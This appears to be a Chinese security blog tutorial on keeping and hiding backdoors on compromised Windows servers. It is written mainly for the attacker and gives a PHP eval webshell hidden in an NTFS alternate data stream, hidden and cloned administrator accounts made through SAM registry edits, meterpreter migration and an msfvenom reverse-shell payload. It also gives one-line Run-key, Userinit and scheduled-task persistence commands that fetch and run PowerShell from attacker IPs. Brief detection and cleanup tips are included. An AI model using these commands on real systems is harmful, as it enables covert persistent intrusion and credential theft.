攻击者在获取服务器权限后,通常会用一些后门来维持权限,如果你想让你的后门保持的更久些,那么请隐藏好它,使之不易被管理员发现。
隐藏文件
1、利用文件属性
最简单的一种隐藏文件的方式,文件右键属性,勾选隐藏,点击确定后,在这个文件里看不到刚刚的文件了。
如果要让文件显示出来,就点击查看,勾选显示隐藏的文件,文件就显示出来。
如何真正隐藏文件?
使用
Attrib +s +a +h +r
命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。
attrib +s +a +h +r D:\test\project\test.txt
这样就做到了真正的隐藏,不管你是否显示隐藏文件,此文件夹都看不见。
破解隐藏文件:
打开电脑文件夹选项卡,取消
”
隐藏受保护的操作系统文件
“
勾选,把
”
隐藏文件和文件夹
“
下面的单选选择“显示隐藏的文件、文件夹和驱动器
”
。
2、利用ADS隐藏文件内容
前提:目标的文件系统是
NTFS
在服务器上
echo
一个数据流文件进去,比如
index.php
是网页正常文件,我们可以这样子搞:
echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg
这样子就生成了一个不可见的
shell hidden.jpg
,常规的文件管理器、
type
命令,
dir
命令、
del
命令发现都找不出那个hidden.jpg
的。
问题1:如何查看index.php:hidden.jpg内容呢?
进入文件所在目录,notepad index.php:hidden.jpg 或者 dir /r
问题2:如何删除index.php:hidden.jpg?
直接删除index.php即可
3、驱动级文件隐藏
驱动隐藏我们可以用过一些软件来实现,软件名字叫:
Easy File Locker
下载链接:
http://www.xoslab.com/efl.html
如果你在网站目录未查找到相关文件,且系统目录存在存在以下文件:
c:\WINDOWS\xlkfs.dat
c:\WINDOWS\xlkfs.dll
c:\WINDOWS\xlkfs.ini
c:\WINDOWS\system32\drivers\xlkfs.sys
那么你,应该是遭遇了驱动级文件隐藏。
如何清除?
1、查询服务状态: sc qc xlkfs
2、停止服务: net stop xlkfs 服务停止以后,经驱动级隐藏的文件即可显现
3、删除服务: sc delete xlkfs
4、删除系统目录下面的文件,重启系统,确认服务已经被清理了。
隐藏文件的方式还有很多,比如伪装成一个系统文件夹图标,利用畸形文件名、保留文件名无法删除,甚至取一个与系统文件很像的文件名并放在正常目录里面,很难辨别出来。
这些隐藏文件的方式早已不再是秘密,而更多的恶意程序开始实现
“
无文件
”
攻击,这种方式极难被发现。
隐藏账号
window
隐藏系统用户操作,
CMD
命令行下,建立了一个用户名为
“test$”
,密码为
“abc123!”
的简单隐藏账户,
并且把该隐藏账户提升为了管理员权限。
PS:CMD
命令行使用
"net user",
看不到
"test$"
这个账号,但在控制面板和本地用户和组是可以显示此用户的。
克隆账号制作过程:
1
、
“
开始
”
→
“
运行
”
,输入
“regedt32.exe”
后回车
,
需要到
“HKEY_LOCAL_MACHINE\SAM\SAM”
,单机右建权限,把名叫:administrator
的用户给予:完全控制以及读取的权限,在后面打勾就行,然后关闭注册表编辑器,再次打开即可。
2
、来到注册表编辑器的
“HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names”
处,点击test$
用户,得到在右边显示的键值中的
“
类型
”
一项显示为
0x3ec
,找到箭头所指目录。
3
、找到
administrator
所对应的的项为
“000001F4”
,将
“000001F4”
的
F
值复制到
“000003EC”
的
F
值中,保存。
4
、分别
test$
和
“000003EC
导出到桌面,删除
test$
用户
net user test$ /del
5
、将刚才导出的两个后缀为
.reg
的注册表项导入注册表中。这样所谓的隐藏账户就创建好了。
PS
:不管你是在命令提示符下输入net user
或者在系统用户管理界面都是看不到
test$
这个账户的,只有在注册表中才能看得到。
检测和清理方法:
使用
D
盾
_web
查杀工具,使用克隆账号检测功能进行查看,可检测出隐藏、克隆账号。
进程注入
进程注入,一直是病毒木马的惯用手段,同时,它也是一种隐藏技术。在常见的渗透测试框架中,进程注入是怎么做的以及我们如何通过工具排查出来?
1、meterpreter会话注入
当前权限无法获取
hash
值,查看目前系统进程
通过
migrate
将进程注入到
system
进程后,成功获得
hash
值。
在获取服务器权限后,通常会用一些后门技术来维持服务器权限,服务器一旦被植入后门,攻击者便如入无人之境。本文将对常见的window
服务端自启动后门技术进行解析,知己知彼方能杜绝后门。
自启动
基础知识
powershell
执行远程脚本:
powershell.exe -nop -c "IEX ((new-object
net.webclient).downloadstring('http://192.168.226.157:8024/msf-tcp-ps-
35444.ps1'))"
准备工作
生成一个
powershell
的反弹脚本备用:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.68.135 lport=444 -f
psh -o msf-tcp-444.ps1
注册表自启动
自启动键
通过修改注册表自启动键值,添加一个木马程序路径,实现开机自启动。
常用的注册表启动键(
https://blog.51cto.com/kuangke/3139147
):
1.Run键
Run键是病毒最青睐的自启动之所,该键位置是
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]和[HKEY_
LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run],其下的所有程序在每
次启动登录时都会按顺序自动执行。
还有一个不被注意的Run键,位于注册表
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explor
er\Run]和
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explo
rer\Run],也要仔细查看。
2.RunOnce键
RunOnce位于
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]和
[HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\RunOnce]键,与Run不同的是,RunOnce下的程序仅会被自动执行一
次。
3.RunServicesOnce键
RunServicesOnce键位于
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
]和[HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]下,其中的程序会在系统
加载时自动启动执行一次。
4.RunServices键
RunServices继RunServicesOnce之后启动的程序,位于注册表
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices]和
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices]
键。
5.RunOnceEx键
该键是Windows XP/2003特有的自启动注册表项,位于
[HKEY_CURRENT_USER\\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx]和
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx]。
6.load键
[HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows]下的
load键值的程序也可以自启动。
使用以下命令可以一键实现无文件注册表后门:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX
((new-object net.webclient).downloadstring('http://192.168.28.142:8888/msf-tcp-
444.ps1'))\"" /f
Logon Scripts 后门
注册表路径:
HKEY_CURRENT_USER\Environment\
创建字符串键值:
UserInitMprLogonScript
,键值设置为
bat
的绝对路径:
c:\test.bat
userinit后门
在用户进行登陆时,
winlogon
运行指定的程序。根据官方文档
,可以更改它的值来添加与删除程序。利用
USERINIT
注册表键实现无文件后门:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"Userinit"="C:\\Windows\\system32\\userinit.exe,C:\\Windows\\System32\\Windows
PowerShell\\v1.0\\powershell.exe -nop -w hidden -c \"IEX ((new-object
net.webclient).downloadstring('http://192.168.28.142:8888/msf-tcp-
444.ps1'))\""
组策略设置脚本启动
运行
gpedit.msc
进入本地组策略,通过
Windows
设置的
“
脚本
(
启动
/
关机
)”
项来说实现。因为其极具隐蔽性,因此常常被攻击者利用来做服务器后门。
容易遇到的问题:脚本需全路径,如
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
计划任务
通过
window
系统的任务计划程序功能实现定时启动某个任务,执行某个脚本。
使用以下命令可以一键实现:
schtasks /create /sc minute /mo 1 /tn "Security Script" /tr "powershell.exe -
nop -w hidden -c \"IEX ((new-object
net.webclient).downloadstring(\"\"\"http://192.168.28.142:8888/msf-tcp-
444.ps1\"\"\"))\""
容易遇到的问题:
cmd
命令行执行单引号会被替换成双引号,故这里使用三个双引号替代。
计划脚本每
1
分钟运行一次。
服务自启动
通过服务设置自启动,结合
powershell
实现无文件后门。
使用以下命令可实现:
成功创建了一个自启动服务
WMI后门
在
2015
年的
blackhat
大会上
Matt Graeber
介绍了一种无文件后门就是用的
WMI
。这里可以利用一个工具powersploit,下面用它的
Persistence
模块来示范一个简单的例子。
解压
powersploit
,在
powershell
下执行
dll劫持
如果在进程尝试加载一个
DLL
时没有指定
DLL
的绝对路径,那么
Windows
会尝试去指定的目录下查找这个DLL;如果攻击者能够控制其中的某一 个目录,并且放一个恶意的
DLL
文件到这个目录下,这个恶意的DLL便会被进程所加载,从而造成代码执行。
比较常用的如
LPK.dll
的劫持:
win7
及
win7
以上系统增加了
KnownDLLs
保护,需要在注册表:
下添加
“lpk.dll”
才能顺利劫持